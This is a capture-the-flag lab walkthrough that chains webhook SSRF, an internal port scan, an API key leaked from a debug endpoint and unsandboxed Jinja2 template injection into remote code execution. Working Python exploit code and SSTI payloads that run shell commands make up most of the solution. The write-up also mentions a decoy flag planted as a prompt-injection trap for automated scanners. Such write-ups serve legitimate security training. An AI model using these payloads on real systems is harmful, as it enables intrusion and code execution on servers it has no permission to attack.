Lab 315 — PulseMetrics — SSRF Chain to SSTI via Internal Services
Lab 315 — PulseMetrics — SSRF Chain to SSTI via Internal Services
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: authenticated_ssrf_with_headers, cycler_globals_popen, debug_config_disclosure, internal_port_scanning, jinja2_ssti_rce, ssrf_via_webhook
Summary
Walkthrough of the CUSTOM Web Lab 315 — PulseMetrics — SSRF Chain to SSTI via Internal Services. Task: Flask monitoring platform with webhook integration feature allowing full-read SSRF. Solution: Chain SSRF to discover internal services, leak API key from debug endpoint, then exploit unsandboxed
Description
PulseMetrics is a real-time infrastructure monitoring platform used by DevOps teams to track server health, application performance, and uptime. The platform features customizable dashboards with CPU/memory/disk charts, alert rules with configurable thresholds, incident tracking with timeline views, and integrations with third-party services via webhooks.
English summary: A Flask/Gunicorn monitoring SaaS application with webhook integrations. The objective is to find and exploit vulnerabilities to retrieve a hidden flag. Credentials provided: user@test.com / password123.
Important note: Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden HTML comments — a honeypot/prompt injection trap for automated scanners.
Analysis
The attack surface centers on the Integrations page (/settings/integrations) which has a Webhook Tester feature. The endpoint /api/integrations/test-webhook accepts POST requests with a JSON body specifying url, method, headers, and body — and returns the full response including body, headers, and status code. This is a full-read SSRF that also supports custom headers and POST bodies, making it extremely powerful for pivoting to internal services.
The architecture consists of three services:
- Port 8080 — Main Flask application (gunicorn) — the public-facing app
- Port 3001 —
metrics-collector— internal Python BaseHTTP service with a debug endpoint leaking configuration - Port 3002 —
admin-report-api— internal Python BaseHTTP service with authenticated Jinja2 template rendering (no sandbox)
The kill chain: SSRF → Internal port scan → Debug config disclosure (API key + endpoints) → Authenticated SSRF to admin API → SSTI → RCE → Flag.
Solution
Step 1: Login and Identify SSRF
Login with provided credentials and locate the webhook tester:
python read-only • copy allowedimport requests, json TARGET = "https://3770bbc2-489e-4e71-ad51-b929ebc10df3.labs.hackadvisor.io" s = requests.Session() s.post(f"{TARGET}/login", data={"email": "user@test.com", "password": "password123"}, allow_redirects=False) def ssrf(url, method="GET", body="", headers=""): payload = {"url": url, "method": method} if body: payload["body"] = body if headers: payload["headers"] = headers r = s.post(f"{TARGET}/api/integrations/test-webhook", json=payload) return r.json()
Step 2: Internal Service Discovery via Port Scanning
python read-only • copy allowed# Scan localhost ports for port in [3000, 3001, 3002, 5000, 8080, 8443, 9090]: result = ssrf(f"http://localhost:{port}/") print(f"Port {port}: status={result.get('status_code')}")
Found services on ports 3001 and 3002.
Step 3: Debug Endpoint Information Disclosure
python read-only • copy allowedresult = ssrf("http://localhost:3001/debug/config") config = json.loads(result["response_body"])
Response reveals the full internal architecture:
json read-only • copy allowed{ "service": "pulsemetrics-collector", "version": "2.4.1", "admin_api": { "host": "127.0.0.1", "port": 3002, "endpoints": ["/admin/status", "/admin/render-report"], "auth_header": "X-Admin-Key", "key": "pmk_a8f3e2d1c9b7046512de" } }
Step 4: Access Admin Report API
python read-only • copy allowedAPI_KEY = "pmk_a8f3e2d1c9b7046512de" AUTH_HEADERS = json.dumps({"X-Admin-Key": API_KEY, "Content-Type": "application/json"}) result = ssrf("http://localhost:3002/admin/status", headers=AUTH_HEADERS) # Response: {"status": "ok", "service": "admin-report-api", "template_engine": "jinja2"}
The template_engine: "jinja2" confirms the SSTI target.
Step 5: SSTI Confirmation
python read-only • copy allowedbody = json.dumps({"template": "{{7*7}}"}) result = ssrf("http://localhost:3002/admin/render-report", method="POST", body=body, headers=AUTH_HEADERS) # Response: {"rendered": "49", "template_length": 7, "output_length": 2}
Step 6: RCE and Flag Retrieval
python read-only • copy alloweddef ssti(template): body = json.dumps({"template": template}) result = ssrf("http://localhost:3002/admin/render-report", method="POST", body=body, headers=AUTH_HEADERS) data = json.loads(result.get("response_body", "{}")) return data.get("rendered", "") # Find the flag file ssti("{{ cycler.__init__.__globals__.os.popen('find / -name flag* 2>/dev/null').read() }}") # Result: /root/flag.txt # Read the flag flag = ssti("{{ cycler.__init__.__globals__.os.popen('cat /root/flag.txt').read() }}") print(f"Flag: {flag}") # FLAG{REDACTED}
Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 import requests import json TARGET = "https://3770bbc2-489e-4e71-ad51-b929ebc10df3.labs.hackadvisor.io" # Login s = requests.Session() s.post(f"{TARGET}/login", data={"email": "user@test.com", "password": "password123"}, allow_redirects=False) def ssrf(url, method="GET", body="", headers=""): payload = {"url": url, "method": method} if body: payload["body"] = body if headers: payload["headers"] = headers r = s.post(f"{TARGET}/api/integrations/test-webhook", json=payload) return r.json() # Step 1: Leak internal service config config = json.loads(ssrf("http://localhost:3001/debug/config")["response_body"]) api_key = config["admin_api"]["key"] print(f"[+] Leaked API key: {api_key}") # Step 2: SSTI → RCE → Flag AUTH_HEADERS = json.dumps({"X-Admin-Key": api_key, "Content-Type": "application/json"}) body = json.dumps({"template": "{{ cycler.__init__.__globals__.os.popen('cat /root/flag.txt').read() }}"}) result = ssrf("http://localhost:3002/admin/render-report", method="POST", body=body, headers=AUTH_HEADERS) data = json.loads(result["response_body"]) print(f"[+] Flag: {data['rendered'].strip()}")
Key Takeaways / Lessons
- Mastering authenticated_ssrf_with_headers, cycler_globals_popen, debug_config_disclosure, internal_port_scanning, jinja2_ssti_rce, ssrf_via_webhook was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-03 • CUSTOM • Lab 315 — PulseMetrics — SSRF Chain to SSTI via Internal Services • Difficulty: Medium